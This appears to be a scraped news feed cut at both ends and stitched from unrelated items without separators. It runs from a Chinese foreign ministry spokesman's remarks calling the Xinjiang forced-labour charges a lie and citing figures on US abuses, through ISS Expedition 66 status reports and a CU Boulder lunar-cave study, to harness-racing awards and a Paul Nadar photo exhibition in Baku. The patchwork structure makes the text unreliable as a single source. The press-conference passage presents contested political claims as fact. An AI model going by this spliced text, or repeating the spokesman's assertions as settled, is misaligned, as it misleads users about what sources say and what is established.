pairs up with, and representatives from the two counties of Hebei province that our ministry has long-term supportive and cooperative relations with. They will interact with the hosts in the CCTV News app and CCTV News live-streaming booth on Taobao. From the official accounts of Love Knows No Borders on Wechat channel, Douyin and Kuaishou, you will find short videos about Me and the charity sale, moving stories about the charity sale shared by foreign diplomatic envoys, and their promotion of local culture and products. We hope you will follow the Love Knows No Borders international charity sale, join the activities and share your love. China Review News: The US House of Representatives passed a revised version of the Uyghur Forced Labor Prevention Act agreed on by the Senate and House on December 14. It will be sent to the Presidents desk after being submitted to the Senate for approval. What is Chinas response? Zhao Lijian: China firmly opposes the interference by the US Congress in Chinas internal affairs under the pretext of Xinjiang-related issues. By cooking up lies and making troubles on such issues, some US politicians are seeking to contain China and hold back Chinas development through political manipulation and economic bullying in the name of human rights. Their vile scheme will never succeed, and will only further damage the credibility and image of the US government and Congress in China. The label of forced laborfits the US better than anyone else. There are approximately 500,000 child farmworkers there. Roughly 240,000 to 325,000 women and children are victims of sexual slavery. Up to 100,000 people were trafficked into the US for forced labor annually over the past five years. The US should face up to and address the grave issue of forced labor at home. I want to iterate that what the US government did to Native Americans constitutes real genocide. Compared to the end of the 15th century, the population of Native Americans dwindled from five million to 250,000, less than one twentieth of the original. Even till this day, Native Americans are still a marginalized group on political, economic, cultural and social fronts, long suffering from systemic discrimination in a wide range of areas. The reservation lands of Native Americans only account for 2.3% of the US territory and provide very poor living conditions. Some reservations are even used by the US government as a dustbin for dumping toxic material or nuclear waste. Take the Navajo people in the border area of Arizona and New Mexico as an example, about a quarter of Navajo women and infants have high levels of the radioactive substance in their systems. We Chinese often say that as a clay figurine cannot stand rain water, lies cannot bear scrutiny. The accusation of genocide and forced labor in Xinjiang is the biggest lie of the century, but is becoming the politically correct thing to do in the US. We deeply regret this. China is determined in safeguarding its national development interests. We will make resolute response if the US insists on advancing the act. Space biology led the research schedule for the seven-member Expedition 66 crew aboard the International Space Station on Friday. The orbiting lab's three guests also spent their day on a variety of Russian space experiments. NASA Flight Engineers Mark Vande Hei and Kayla Barron partnered up throughout the day replacing components inside the Advanced Plant Habitat. Three-time station resident Thomas Marshburn of NASA prepared the Mouse Habitat Unit for upcoming rodent research. Flight Engineer Matthias Maurer of ESA (European Space Agency) collected his blood sample and analyzed it using the Bio-Analyzer. At the end of the day, he joined Marshburn for retina scans conducted by NASA Flight Engineer Raja Chari using specialized imaging hardware with support from doctors on the ground. Station commander and cosmonaut Anton Shkaplerov worked on a pair of studies exploring how weightlessness affects the cardiovascular system and microbes then charged batteries inside the Soyuz MS-19 crew ship. Roscosmos Flight Engineer Pyotr Dubrov continued servicing and photographing bacteria samples for the Microvir space virus investigation. Cosmonaut Alexander Misurkin, commander of the 11-day Soyuz MS-20 mission, serviced samples for a Russian microbiology study and had an Earth photography session. The two spaceflight participants from Japan, Yusaku Maezawa and Yozo Hirano, contributed to a study that explores how space affects the circulatory system. On-Orbit Status Report Payloads: Bio-Analyzer: A blood sample was analyzed using the Bio-Analyzer and processed using the Cellular Labeling instrument. The sample was then remixed to introduce bubbles in order to test the bubble mitigation procedures. Bio-Analyzer is a Canadian Space Agency (CSA) onboard instrument that serves as a platform for scientific experiments on the ISS. The instrument performs on-orbit quantification of biological molecules and cellular composition in samples collected and prepared aboard the ISS. Bio-Monitor: Bio-Monitor hardware was stowed. Bio-Monitor is a CSA onboard instrument that serves as a platform for scientific experiments on the ISS. The instrument performs on-orbit monitoring of crew member physiological parameters, with wearable sensors that only minimally interfere with crew member daily activities. InSPACE-4 (Investigating the Structure of Paramagnetic Aggregates from Colloidal Ellipsoids): A repeat of InSPACE-4 operations run #83 was initiated. InSPACE-4 studies the assembly of tiny structures from colloids using magnetic fields. These structures change the properties of the assembled material, such as its mechanical response to or interaction with light and heat. Microgravity allows observation of these assembly processes free of confining sample walls and sedimentation and during timescales not possible using simulated microgravity. Results could provide insight into how to harness nanoparticles to fabricate and manufacture new materials. ISS Ham: ISS Ham contacts were made with Savannah River Academy in Grovetown, Georgia and DLR School Lab in Braunschweig, Germany. ISS Ham Radio provides opportunities to engage and educate students, teachers, parents, and other members of the community in science, technology, engineering and math by providing a means to communicate between astronauts and the ground HAM radio units. Plant Habitat: The Plant Habitat CO2 Pump Filter and Environmental Control system were removed and replaced. The Advanced Plant Habitat (Plant Habitat) is a fully automated facility that is used to conduct plant bioscience research on the ISS. It occupies the lower half of the EXpedite the PRocessing of Experiments to Space Station (EXPRESS) Rack and one powered International Subrack Interface Standard (ISIS) drawer, providing a large, enclosed, environmentally controlled chamber. Polar: Desiccant swaps were performed on Polars 1 and 5. Polar is a Cold Stowage managed facility that provides transport and storage of science samples at cryogenic temperatures (-80 C) to and from the ISS. Polar operates on 75 W supplied power and uses air cooling as its heat rejection method. Polar can accommodate up to 12.75 liters of sample volume and 20 lbm including sample support equipment. Retinal Diagnostics: The DLR-EAC Retinal Diagnostics Study measurements were conducted on two subjects. Retinal Diagnostics utilizes a commercially available ophthalmology lens, approved for routine clinical use with mobile devices, to capture images of the human retina in space. The videos/images are downlinked to test and train models to detect retinal pathologies common among astronauts. Systems: Waste & Hygiene Compartment (WHC) Water Container (-CB) Remove and Replace (R&R): Today the crew built a new -CB and R&Red the existing -CB in the WHC. The -CB is intended for short-term storage and manual water transportation between facilities. The flush tank was filled using a Post-Flight Analysis Bag to capture any pressure relief to protect the dose pump, after which the WHC was reactivated. Wireless Instrumentation System (WIS) Activities: Two WIS activities were completed today. The first was the JEM WIS Remote Sensor Unit (RSU) B4 sensor correction. The objective was to correct JEM WIS Air Flow Sensor 600mm and 380mm for two B4 sensors in the JPM. The second was a swap of two Internal WIS (IWIS) RSUs in Node 1 and MLM. The WIS sensors are deployed across the interior and exterior of the ISS to measure structural loads and dynamics. WIS operates on ISS power and uses Radio Frequency (RF) communication between its major components. Completed Task List Activities: Brine Processor Odor Feedback Today's Ground Activities: All activities are complete unless otherwise noted. Vacuum System Jumper Offgassing Comm Configuration During an EMER OBT MT Pre-Translation Check Out and Survey MT Translation MSS Maneuver MSS Hover Maneuver Vacuum System Jumper Leak Check PPS HIGH BETA OPERATIONS Look Ahead Plan Saturday, December 11 (GMT 345) Payloads: Iceberg Desiccant swap (NASA) Systems: Crew Off-Duty Day Sunday, December 12 (GMT 346) Payloads: Vascular Echo Glucose setup (CSA) Bio-Monitor wearable don (CSA) Phospho-Aging Inserts (JAXA) Repository Urine and blood collect (NASA) LIDAL Procedure Review (NASA) Systems: Crew Off-Duty Day Monday, December 13 (GMT 347) Payloads: Vascular Echo Glucose measurements and blood collect and Blood Pressure (CSA) Bio-Monitor wearable wearable changeout (CSA) Myotones Blood setup (ESA) Lumina Power on (ESA) EasyMotion Powerbox charge (ESA) Phospho-Aging inserts (JAXA) Protein Crystallization Research Facility Maintenance (JAXA) InSPACE-4 Runs 84, 85 (NASA) Repository Blood and urine collect (NASA) KERMIT T/S (NASA) LIDAL uninstall (NASA) BCM Robot test (NASA) CIR Manif 4 bottle change (NASA) Systems: EHS TOCA WRS Sample Analysis Water Recovery System CWC-Iodine Fill Initialization Node Hatch Audit Emergency RS ISS VHF-1 Comm Checkout from USOS IFM Wet/Dry Vacuum Recovery EVA Airlock Restow IFM BPA Troubleshooting EVA Battery Operations Downlink Expansion Audio and Video Checkout WOOV8 Procedure Review Gather Items for WOOV8 R&R EHS TOCA Sample Data Record Today's Planned Activities: All activities are complete unless otherwise noted. HRF Generic Saliva Collection 10 Minutes HRF Generic Urine Collection Male/Stow HRF Generic MELFI Sample Retrieval and Insertion Operations Standard Measures Body Sampling Survey/Collection/Stow HRF Generic HRF Centrifuge Setup and Frozen Blood Collection Subject HRF Generic HRF Centrifuge Frozen Blood Collection Operator HRF Generic HRF Centrifuge Frozen Blood Collection Configure and Run HRF Generic HRF Centrifuge Frozen Blood Collection Spin Conclude HRF Generic HRF Centrifuge Frozen Blood Collection Conclude and Stow Bio-Monitor Hardware Stow Standard Measures Cognition Testing HRF Generic Urine Collection Urine Containment Bag Stow and Retrieval Plant Habitat Facility Procedure Review Plant Habitat CO2 Pump Filter Remove and Replace Crew Alternate Sleep Accommodation (CASA) Duct Disconnect/Reconnect XF705 Camcorder Setup Bio-Analyzer Cellular Labeling Microbubbles Analysis Session 1 Plant Habitat Environmental Control System Remove and Replace JLP Heater Controller (HCTL) Jumper W3002 Connection to Channel A Onboard Training (OBT) Robotics On-board Trainer (ROBoT) Setup Plant Habitat Facility Remove/Reinstall Waste & Hygiene Compartment (WHC) Water Container (-CB) Remove and Replace OBT ISS Emergency Hardware Familiarization. Tagup with specialists EasyMotion Suit stow INSPACE-4 (Investigating the Structure of Paramagnetic Aggregates from Colloidal Emulsions 4) Experiment Run Ops On-board Training (OBT) ISS Emergency Hardware Familiarization Bio-Analyzer Microbubbles Conclude and Stow Waste and Hygiene Compartment (WHC) Manual Fill Initiation/Termination IWIS (Internal Wireless Instrumentation System) RSU (Remote Sensor Unit) Swap ISS HAM Columbus Pass Kenwood Polar Desiccant Swap Health Maintenance System (HMS) ISS Food Intake Tracker (ISS FIT) JEM WIS RSU B4 Sensor Correction for RSU B4 S/N 1001 at JPM1F0 and S/N 1003 at JPM1OA7 Standard Measures Fecal Collection Payloads Network Attached Storage (NAS) Vent Cleaning Standard Measures Fecal Collection Stow Seeds Packages PR Photo Health Maintenance System (HMS) Spaceflight Cognitive Assessment Tool for Windows (WinSCAT) Test Long-duration Crew Compensation Health Maintenance System (HMS) - OCT2 Exam - Operator Health Maintenance System (HMS) OCT2 Exam - Subject IMS delta file prep Health Maintenance System (HMS) OCT2 Stow Retinal Diagnostics Data Acquisition Retinal Diagnostics Data Downlink and Equipment Stow Please follow SpaceRef on Twitter and Like us on Facebook. It was a busy Monday for the 10 individuals living aboard the International Space Station as they worked on human research and space physics. The Expedition 66 crew is also gearing up for next week's departure of three lab visitors as well as a cargo delivery before Christmas. NASA Flight Engineer Thomas Marshburn juggled a pair of life science studies throughout Monday. He first collected blood samples for the Vascular Aging experiment, then set up rodent research hardware for an upcoming visual function study. NASA astronaut Kayla Barron assisted Marshburn with the blood collection work. The duo also began packing station gear to be returned to Earth on the next SpaceX Cargo Dragon mission due to launch Dec. 21. Barron also partnered with fellow NASA Flight Engineer Raja Chari continuing cleanup activities in the U.S. Quest airlock following Barron's spacewalk with Marshburn on Dec. 2. Chari also serviced radiation research hardware before auditing cargo packed in the Harmony module. Working inside the Microgravity Science Glovebox, NASA Flight Engineer Mark Vande Hei studied ways to harness nanoparticles for a space manufacturing study. ESA (European Space Agency) astronaut Matthias Maurer conducted blood pressure checks for the Vascular Aging study then spent the afternoon on maintenance work in the Columbus laboratory module. Station Commander Anton Shkaplerov from Roscosmos worked on cargo transfers from the docked ISS Progress resupply ship. Flight Engineer Pyotr Dubrov checked out Russian electronics and life support gear. The orbiting lab's three recent station visitors, cosmonaut Alexander Misurkin and Japanese spaceflight participants Yusaku Maezawa and Yozo Hirano, are due to return to Earth on Dec. 19. Three-time space visitor, Misurkin started gathering items to be packed inside the Soyuz MS-20 crew ship the trio will undock and land in. The other two space guests researched how microgravity affects the way blood flows from the limbs to the head. On-Orbit Status Report Payloads: Behavioral Core Measures (BCM): The crew prepared for a BCM session but was unable to successfully bring up the BCM application on the computer. The BCM session will be rescheduled later. The Standardized Behavioral Measures for Detecting Behavioral Health Risks during Exploration Missions (Behavioral Core Measures) experiment initially examined a suite of measurements to reliably assess the risk of adverse cognitive or behavioral conditions and psychiatric disorders during long-duration spaceflight, and evaluated the feasibility of those tests within the operational and time constraints of spaceflight for two crewmembers. Subsequent subjects perform a subset of the original activities to measure the performance capabilities of deconditioned crew members to complete either individual or crew telerobotic operations within the first 24 hours after landing. This information could help characterize what tasks a crewmember who has spent months in weightlessness can reasonably be expected to perform after landing on the surface of Mars. Combustion Integrated Rack/Advanced Combustion via Microgravity Experiments (CIR/ACME): The crew replaced a 100% ethylene (CH2=CH2) fuel bottle with a new bottle of the same composition. This was performed in support of the on-going Flame Design part 2 experiment. The Flame Design investigation studies the production and control of soot in order to optimize oxygen-enriched combustion and the design of robust, soot-free flames. Soot can adversely affect efficiency, emissions, and equipment lifetime, so this may lead to more efficient and cleaner burner designs. Investigating the Structure of Paramagnetic Aggregates from Colloidal Ellipsoids (InSPACE-4): The crew set the appropriate parameters and adjusted the camera field of view for experiment runs 84 and 85. InSPACE-4 studies the assembly of tiny structures from colloids using magnetic fields. These structures change the properties of the assembled material, such as its mechanical response to or interaction with light and heat. Microgravity allows observation of these assembly processes free of confining sample walls and sedimentation and during timescales not possible using simulated microgravity. Results could provide insight into how to harness nanoparticles to fabricate and manufacture new materials. ISS HAM pass: The crew completed an ISS Ham pass with Wolfgang-Kubelka-Realschule (WKR), Schondorf am Ammersee, Germany. Some of the questions asked by the 9 to 15-year-old students included how noisy it is on the ISS, how the crew sleeps on the ISS, and which experiment is the most exciting for the crew. ISS Ham Radio provides opportunities to engage and educate students, teachers, parents, and other members of the community in science, technology, engineering, and math by providing a means to communicate between astronauts and the ground HAM radio units. Phospho-aging: The crew inserted the blood and urine samples into their cold stowage location. These were collected in support of the Phospho-aging investigation. Phospho-aging Mechanism of Accelerated Aging Under Microgravity (Phospho-aging) examines the molecular mechanism behind aging-like symptoms, such as bone loss and muscle atrophy, that occur more rapidly in microgravity. Using analysis of human premature-aging syndromes (progeria) in mouse models, scientists identified Calciprotein Particles (CPPs) as a pro-aging factor in mammals. CPPs behave like a pathogen, inducing chronic inflammation and systemic tissue damage that could be the mechanism behind accelerated aging in space. Protein Crystallization Research Facility (PCRF): In support of the PCRF cell maintenance activities, the crew relocated the maintenance units from locations 2, 3, 4 to locations 1, 5, 6. The PCRF is a JAXA subrack facility which investigates protein crystal growth in microgravity. PCRF is housed in the Ryutai (fluid) Experiment Rack, along with the Fluid Physics Experiment Facility (FPEF), Solution Crystallization Observation Facility (SCOF), and the Image Processing Unit (IPU). Vascular Aging: The crew collected long-term blood pressure data and performed a glucose tolerance test in support of the Vascular Aging investigation. Emerging data point towards linkages among cardiovascular health risk, carotid artery aging, bone metabolism and blood biomarkers, insulin resistance, and radiation. Data indicate that aging-like changes are accelerated in many ISS crew members, particularly with respect to their arteries. As part of the Space Environment Causes Acceleration of Vascular Aging: Roles of Hypogravity, Nutrition, and Radiation (Vascular Aging) investigation, ultrasounds of the arteries, blood samples, oral glucose tolerance, and wearable sensors from ISS crew members are analyzed. Systems: Environmental Health System (EHS) Total Organic Carbon Analyzer (TOCA) Water Recovery System (WRS) Sample Analysis & Data Record: The crew performed an analysis of the Water Processing Assembly (WPA) using the TOCA. The TOCA unit oxidizes organic carbon species present in the water to carbon dioxide gas and measures the concentration using nondispersive infrared spectroscopy. Analysis of the potable water using the TOCA occurs on a weekly basis. Post-Extravehicular Activity (EVA) and EVA Mobility Unit (EMU) Prep Activities: The crew continued working on post-EVA and EMU prep activities today. The US Airlock is used for stowage of other ISS hardware when not being utilized for EVAs, and these stowage items were moved back into the Airlock following the SASA R&R EVA on December 2nd. The crew also performed an EVA Battery Installation of Lithium-Ion Batteries into the Battery Stowage Compartment followed by an auto-cycle of the EVA Batteries using the EVA Battery Operations Terminal. In Flight Maintenance (IFM) Wet/Dry Vacuum Recovery: The Wet/Dry Vacuum was cleaned of Hazard Response Level 1 debris and the vacuum's HEPA filter was Removed and Replaced (R&Red), after which the vacuum cleaner was placed back in a nominal configuration. The Wet/Dry Vacuum Cleaner is used to collect and contain wet or moist debris, and is certified to vacuum only Hazard Response Level 0 items. IFM Brine Processor Assembly (BPA) Troubleshooting Activities: BPA troubleshooting to contain excess odor began with the replacement of an O-ring at the Brine Processor Exhaust Adapter with Duxseal from the ISS Leak Kit. The O-ring replacement enabled crew to compare the currently installed ducting condition to spare ducting condition, and the configuration with the best condition was installed. In this case, the spare ducting was in the best condition. Next, the BPA Exhaust Filter was R&Red. The Exhaust Filter scrubs the odor from the air leaving the BPA. Completed Task List Activities: Record ESA PAO Messages with Matthias Maurer Today's Ground Activities: All activities are complete unless otherwise noted. PPS HIGH BETA OPERATIONS VS Leak Limits Change Activate HD Video Downlink Expansion Checkout VS Limit Configuration ATS PPL Loading Columbus LTL IFHX bypass on Water side EHDC Checkout PTCS Node 2 Heater Configuration Look Ahead Plan Tuesday, December 14 (GMT 348) Payloads: BCM Robot test CBEF-L Filter attach DREAMS head band doff and Charge GLACER Icebrick insert InSPACE-4 runs 86-88 JWRS Cable Inspect LIDAL procedure review ManD print removal and stow MELFI icebrick insert MSG HD monitor T/S Plant Habitat H/W gather and facility prep review Repository Saliva collect Standard Measures presleep question Vascular Aging Blood Pressure 13hr conclude Systems: Regenerative ECLSS Recycle Tank Drain/Fill Cargo Transfer to Dragon UTS Offload EDV Swap Columbus ITCS WOOV8 Trouble Shooting EMU Resize EMU Cooling Loop Maintenance Scrub/Iodination ISS Video Tour JEM CGSE Upper CO2 Gas Supply Start JEM CGSE Upper Ar Gas Supply Start Wednesday, December 15 (GMT 349) Payloads: Bio-Monitor final stow DREAMS doff and data transfer and stow EasyMotion Food Acceptability InSPACE-4 runs 89-90 LIDAL Relocate 2 Myotones Measurements Plant Habitat Facility prep Repository Urine and saliva collect Standard Measures Postsleep and Presleep questions Systems: COLUMBUS Bay 1, 2, 3 clean-up/restow JEM Mesh Cover Return Grille Cleaning IFM OGS ATCEX Filter R&R Thursday, December 16 (GMT 350) Payloads: Cold Atom Lab CPU Card replace Easymotion charge Food Acceptability FSL ESEM bridge install and removal InSPACE-4 runs 91-93 ISS HAM Pass JEM KIBO Studio setup and event ManD print removal MELFI icebrick insert Payload NAS HD replacement Plasma Kristall-4 HD exchange Repository Urine and saliva collect Standard Measures PostSleep and Presleep Touching Surfaces ops Vascular Aging Echo scans and BP measurements and glucose setup Systems: ISS Photos of high Impact Areas for SpX-24 Swap SSC 10 and 20 Swap IFM WHC Air Filter and Wring Collector R&R EVA Battery Operations THC IMV Flow Measurement Survey JEM Space Fight Participants Event Attendance ESA items pregather for SpX-24 return OBT ROBoT T&C Self Study New PWS1 Laptop installation Payloads NAS HDD Replace BIOS Setup on Portable Work Station 1 IMS Conference Portable Workstation 1 Activation Today's Planned Activities: All activities are complete unless otherwise noted. Vascular Aging FRIDGE Item Removal HRF Generic HRF Centrifuge Setup and Frozen Blood Collection Subject HRF Generic HRF Centrifuge Frozen Blood Collection Operator Vascular Aging Glucometer First Reading and Drink Consumption Vascular Aging Historical Documentation Photography Vascular Aging 13-Hour Blood Pressure Monitoring Setup HRF Generic HRF Centrifuge Frozen Blood Collection Configure and Run HRF Generic HRF Centrifuge Frozen Blood Collection Spin Conclude Vascular Aging Glucometer Second, Third, Fourth Reading CSA Generic MELFI Sample Insertion HRF Generic Urine Collection Male Light Ions Detector Uninstall Protein Crystallization Research Facility (PCRF) Maintenance Unit Relocation Environmental Health System (EHS) Total Organic Carbon Analyzer (TOCA) Water Recovery System (WRS) Sample Analysis Phospho-Aging Generic MELFI Sample Retrieval And Insertion Operations HRF Generic MELFI Sample Retrieval and Insertion Operations LUMINA device Power ON CSA Generic HRF Centrifuge Frozen Blood Collection Operator Vascular Aging 13-Hour Blood Pressure Monitoring Crew Time Payback Vascular Aging HRF Centrifuge Frozen Blood Collection Subject Vascular Aging Glucometer Fifth Reading and Data Transfer CSA Generic HRF Centrifuge Frozen Blood Collection Configure and Run [aborted] Behavioral Core Measures ROBoT-r Research Testing ISS HAM Columbus Pass Kenwood CSA Generic HRF Centrifuge Frozen Blood Collection Spin Conclude CSA Generic MELFI Sample Re-Insertion HRF Generic HRF Centrifuge Frozen Blood Collection Conclude and Stow Health Maintenance System (HMS) Spaceflight Cognitive Assessment Tool for Windows (WinSCAT) Test Dragon 24 Prepack Combustion Integrated Rack Bottle Gather Combustion Integrated Rack Upper Rack Doors Open Combustion Integrated Rack Manifold #4 Bottle Replacement Combustion Integrated Rack Upper Rack Doors Close Bio-Monitor Wearables Change Out Bio-Monitor Breathing Volume Calibration Second Performance Water Recovery System Hardware Gather XF705 Camcorder Setup MELFI 1 Ice Brick Insert 2 Nozzle Gather Columbus Video Camera Assembly 1 Adjustment Emergency RS ISS VHF-1 Comm Checkout from USOS Columbus Smoke Detectors 1 and 2 inspection and cleaning Node Hatch Audit INSPACE-4 (Investigating the Structure of Paramagnetic Aggregates from Colloidal Emulsions 4) Experiment Run Ops Nozzle Restow Extravehicular Activity (EVA) Airlock Restow MELFI 2 Ice Brick Insert 3 In Flight Maintenance (IFM) Wet/Dry Vacuum Recovery In Flight Maintenance (IFM) Brine Processor (BPA) Seal Troubleshooting Bio-Monitor Wearables Stow Public Affairs Office (PAO) Event in JEM Dreams Dry-EEG Headband charge EVA Battery Operations Terminal Autocycle Terminate WOOV8 Procedure Review [aborted] Downlink Expansion Audio and Video Checkout In Flight Maintenance (IFM) Brine Processor (BPA) Filter Remove and Replace (R&R) Extravehicular Activity Battery Removal/Installation Gather Items for WOOV8 R&R EVA Battery Operations Terminal Autocycle Init INSPACE-4 (Investigating the Structure of Paramagnetic Aggregates from Colloidal Emulsions 4) Experiment Run Conclude MedOps02 Power Cycle Environmental Health System (EHS) Total Organic Carbon Analyzer (TOCA) Sample Data Record [deferred] Station Support Computer (SSC) Power On Vascular Aging 13-Hour Blood Pressure Monitoring Mobil-O-Graph Unit Power Off HRF Generic Saliva Collection 10 Minutes Please follow SpaceRef on Twitter and Like us on Facebook. The moon may be a mostly uniform expanse of gray, but if you look closely, you can still find a few nooks and crannies in its surface, from deep trenches to pits and maybe even caves. Now, researchers at CU Boulder have set out to explore what the environment might be like inside some of these shadowy features--many of which are too dark to see clearly from orbit. The team's preliminary results suggest that pits and caves on the moon showcase remarkably stable conditions. They don't seem to experience the wild swings in temperature that are common at the moon's surface, said Andrew Wilcoski, a graduate student in the Department of Astrophysical and Planetary Sciences at CU Boulder. He will present the group's initial findings Friday at the American Geophysical Union fall meeting in New Orleans. "If we're hoping to send people into these caves in the decades ahead, we want to know what they should expect down there," said Wilcoski, a co-author of the new research. The take-home message: What is it like to go spelunking on the moon? Future lunar explorers may want to pay attention. Pits and caves, Wilcoski explained, are potentially ideal places for the space colonies of the future. Their walls and crevices are naturally homey and might protect humans from the sun's dangerous radiation. Some scientists have also wondered if lunar pits and caves could be rich in natural resources that astronauts covet. That includes ice, which explorers could mine to collect water for drinking, showers and even rocket fuel. To find out for sure, Wilcoski and planetary scientist Paul Hayne drew on computer simulations to try to recreate the conditions below the moon's surface. Their initial findings present a mixed bag: The stable environments of lunar pits and caves could help astronauts weather some of the moon's worst extremes. Those same conditions, however, may make them less-than-perfect spots to go looking for water. "They're attractive options for establishing a long-term human presence on the moon," said Hayne, assistant professor in the Laboratory for Atmospheric and Space Physics at CU Boulder. Hayne added that no one knows how many pits and caves might be hiding on the moon. One scientific team that went searching for them in 2014 found more than 200. Many looked like round holes punched into the lunar surface, and they ranged from about a half a mile wide to the size of a London double-decker bus. Scientists are excited about their potential in part because the moon itself is such an extreme environment. "As you get close to the equator, temperatures can reach more than 100 degrees Celsius during the day on the surface, and it will get down to 170 degrees Celsius below zero at night," Wilcoski said. The researchers developed simulations to track the temperatures in hypothetical lunar pits and caves of various shapes and sizes as the sun rose and set over the moon. They found that how these formations are oriented matters. If a cave's mouth points directly at the rising sun, for example, it will get a lot warmer than if it points away. Just like caves on Earth, caves on the moon seemed to sustain relatively balmy environments. Most of the team's simulated caves hosted temperatures of about minus 120 to minus 70 degrees Celsius (minus 184 to minus 94 degrees Fahrenheit) throughout an entire lunar day. Those aren't great conditions for water frozen into ice, Wilcoski said. Previous research by Hayne and other scientists has shown that water ice may have accumulated over billions of years in certain sites on the moon that researchers call "cold traps." But, based on results from the new simulations, many lunar pits and caves are probably too warm to harbor similar treasure troves. In other words, go somewhere else to fill up your Nalgene. "One intriguing possibility would be to establish a protected base station inside a lunar pit or cave near one of the polar craters containing water ice," Hayne said. "Astronauts could then venture out when conditions were right in order to collect ice-rich soil." Please follow SpaceRef on Twitter and Like us on Facebook. Lindy Farms of Connecticut, the legacy breeding and racing operation of the Antonacci family which has seen subsequent generations grow and support the sport of harness racing, has been voted the Stan Bergstein/Proximity Award, the highest award the United States Harness Writers Association (USHWA) votes on solely. Cousins Frank and Guy Sonny Antonacci, both members of harness racings Hall of Fame, started Lindy Farms in partnership with the Lomangino family, finding instant success with 1969 Horse of the Year Lindys Pride. Frank and his brother Tom then partnered in the Crown Stable, whose first purchase was the great Speedy Crown, he the sire of Moni Maker, whom Lindy Farms bought into mid-sophomore season and saw her become a champion racehorse, then added to their broodmare band. Brothers Frank and Jerry Antonacci have been involved with and managed Lindy Farms of Connecticut for 40 years, including racing as amateur drivers during the 1990s. They also were at the forefront during this period in the development of frozen semen usage in cross-continental matings. In 2000, Frank and Jerry became operating partners of Lexingtons famed Red Mile and owners of the Tattersalls Sales Company. Frank is also a partner in Meadowlands Racetrack. He has been a director of the Hambletonian Society since 1993, and is a vice president and member of the Societys executive committee. He has been a trustee of the Harness Racing Museum and Hall of Fame since 2011, and served as a United States Trotting Association director for 18 years. The family has contributed greatly to the reinvigorating of the racing and breeding programs in Kentucky, home of The Red Mile, and of Massachusetts, next door to Connecticut and whose racetrack Plainridge Park is often a finishing school for the Farms racing prospects. The next generation of the Antonacci family is gradually assuming positions of higher importance in the sport. Franks sons Frank M., Christopher, and Philip, alongside Jerrys sons Guy and Matthew and daughter Sara, actively participate in Lindy Farms operations and on the boards of other harness organizations. Lindy Farms received the 2020 Service To Youth Award from the Harness Horse Youth Foundation. The Antonacci familys largesse also extends beyond the borders of the racetrack and the breeding shed. The Antonacci Family Foundation sparked the Millions of Meals Initiative for The Food Bank of Western Massachusetts with a sizable donation, helping many suffering from various hardships imposed by COVID. The Foundation also supports other charitable operations, such as the Baystate Health network of hospitals. Lindy Farms and the Antonaccis will be honoured at USHWAs Dan Patch Night of Champions Awards Banquet, to be held on Sunday, Feb. 20, 2022 at the Rosen Shingle Creek Resort in Orlando, Florida. (USHWA) Two young people whose careers have grown quickly and are making a sizable impact on the sport are being honoured by the United States Harness Writers Association (USHWA) Todd McCarthy with the Rising Star Award, which honours trainer/drivers 30 years of age or younger, and Jessica Otten with the Lew Barasch Breakthrough Award, which honours non-trainer/drivers in the same age bracket. McCarthy comes from a long line of top-rated horsemen from Queensland in his native Australia, among them his brother Andrew, who came over to North America years ago and has also established as a top driver. McCarthy made a remarkably-quick breakthrough: after debuting over here in late August of 2020, his skills became so apparent that trainers were soon putting him behind top horses, and he had amassed 336 sulky scores this year at press time. His earnings of $7,454,501 put him among the top 10 drivers in North America in 2021. McCarthys highest-profile horse this season was Allywag Hanover, a free-for-all pacer who on his best day could -- and did -- match strides with any horse around. McCarthy and Allywag Hanover tied a 1:46.4 world record at Lexington in the Allerage Pace, and also scored in the final of the TVG Series, the Canadian Pacing Derby, and divisions of the W.R. Haughton Memorial and McKee Memorial. Other stakes horses benefiting from McCarthy's handling include Grace Hill, Pebble Beach and Darlene Hanover. Jessica Ottens harness origins are in the state of Michigan, where she used social media to spread the word about that states harness racing, then started to contribute to the Post Time With Mike And Mike podcast. In 2018, she was hired at The Meadowlands, where she now holds the title of Marketing Coordinator. Still heavily involved in social media with contributions to such events as the Breeders Crown Charity Challenge, Otten has become a staple of many top-line harness broadcasts, including The Meadowlands own productions (handicapping, interviews and on-set host) as well as national exposure for Standardbreds hosting shows around marquee events such as the Meadowlands Pace, the Hambletonian and the Breeders Crown series. Todd McCarthy and Jessica Otten will be honoured at USHWAs Dan Patch Night of Champions Awards Banquet, to be held on Sunday, Feb. 20, 2022 at the Rosen Shingle Creek Resort in Orlando, Florida. (USHWA / Photo of Todd McCarthy by New Image Media / Photo of Jessica Otten by USTA) By Azernews By Laman Ismayilova French photographer Paul Nadar will showcase his works at National Art Museum. The "Paul Nadar: the Extraordinary Journey to Baku" will be presented for the first time in National Art from December 18 2021 to February 15, 2022. The event is co-organized by the French Embassy in Baku and the French Institute in Azerbaijan in partnership with the Culture Ministry and National Art Museum. The exhibition curated by Mrs. Konul Rafiyeva is supported by the Architecture and Heritage Multimedia Library within the French Culture Ministry. Dozens of photos selected for the exhibition are the modern printouts of the original negatives stored in the photographic archives of the Architecture and Heritage Multimedia Library within the French Culture Ministry. It is split into three thematic sections: "The Great Portraits", "Baku" and "Travel to Turkestan". Paul Nadar (1856-1939), was the son of the no less famous Felix Nadar (1820-1910), one of the pioneers of the art of photography in France in the 19th century and the founder of Nadar, the prestigious photography company. Deserved heir to this father, Paul Nadar is one of the most talented French photographers of his period who undertakes the practice of his art by embarking on long distance journeys. The name of "Nadar" mirrors the entire part of the history of French photography. In this authentic family story, Felix Tournachon followed by his son, Paul, were all the bearers of the Nadar brand during their entire careers as artists. Felix Tournachon (1820-1910) decides to bear the name of Nadar when he is aged twenty. "The Pantheon Nadar" comes to light in 1854 composed of almost three hundred cartoons which are mainly satirical: it makes him famous. In 1860 he settled in the luxury studio on the Boulevard des Capucines in Paris. He became one of pioneers to get on board the air balloon to photoshoot Paris. The portraits of his peers give us the most expressive particular images of the very famous personalities like Charles Baudelaire, Eugene Delacroix, Victor Hugo, George Sand and others. Paul Nadar (1856-1939), the only son and heir of the famous photographer Felix Nadar, works in the studio of his father since early childhood and becomes the photographer who exclusively dedicates himself to the art of photography. Departing Paris on board the Orient-Express in 1890, he arrived in Istanbul on August 18 of the same year. From the port of Batumi on the Black Sea, he reaches Baku by making a stopover in Tbilisi. The places shot by Paul Nadar during his journey in Baku in 1890 had a different aspect than today. Consequently, his photos represent a very significant documentary on the capital of Azerbaijan in the end of the 19th century. Nadar photoshoots the unique architectural examples of Baku (The Gosha Gala the Double Fortress, the Saint-Nicolas Church, Shirvanshahs Palace) and the life in the twisting streets, shops and crowd full bazaars, wandering merchants and the new urban society with families and children. The crossing of the Caspian Sea after Baku brings him to the newly built Russian port 